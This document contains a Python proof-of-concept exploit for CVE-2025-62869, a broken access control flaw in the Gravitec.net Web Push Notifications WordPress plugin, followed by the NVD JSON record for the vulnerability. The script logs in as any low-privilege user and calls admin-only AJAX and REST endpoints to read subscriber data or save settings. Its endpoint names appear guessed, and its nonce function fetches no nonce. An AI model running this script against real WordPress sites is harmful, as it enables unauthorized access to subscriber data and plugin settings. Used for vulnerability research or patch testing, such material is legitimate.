CVE-2025-62869

# CVE-2025-62869 PoC - Gravitec.net Web Push Notifications Broken Access Control # Requires: Valid WordPress user account (any role) import requests import sys TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password" def get_nonce(url): """Get WordPress nonce for authenticated requests""" login_url = f"{url}/wp-login.php" session = requests.Session() # Login to WordPress login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f'{url}/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed") return None, session print("[+] Login successful") return None, session def exploit_broken_access_control(session, url): """Exploit the missing authorization vulnerability""" # Identify vulnerable endpoints - these should require admin privileges vulnerable_endpoints = [ f"{url}/wp-admin/admin-ajax.php?action=gravitec_get_subscribers", f"{url}/wp-admin/admin-ajax.php?action=gravitec_save_settings", f"{url}/wp-json/gravitec/v1/subscribers", ] for endpoint in vulnerable_endpoints: print(f"\n[*] Testing endpoint: {endpoint}") try: response = session.get(endpoint, timeout=10) # If we get a 200 response with data instead of 401/403, vulnerability exists if response.status_code == 200 and 'application/json' in response.headers.get('Content-Type', ''): print(f"[+] VULNERABLE! Retrieved data without proper authorization:") print(response.text[:500]) elif response.status_code == 403: print(f"[-] Access denied (expected behavior)") else: print(f"[*] Status: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2025-62869 - Gravitec.net Web Push Notifications Broken Access Control") print("=" * 70) _, session = get_nonce(TARGET_URL) if session: exploit_broken_access_control(session, TARGET_URL)

{"cve": {"id": "CVE-2025-62869", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:03.943", "lastModified": "2026-04-28T19:34:59.190", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Gravitec.net - Web Push Notifications Gravitec.net – Web Push Notifications gravitec-net-web-push-notifications allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Gravitec.net – Web Push Notifications: from n/a through <= 2.9.17."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/gravitec-net-web-push-notifications/vulnerability/wordpress-gravitec-net-web-push-notifications-plugin-2-9-17-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}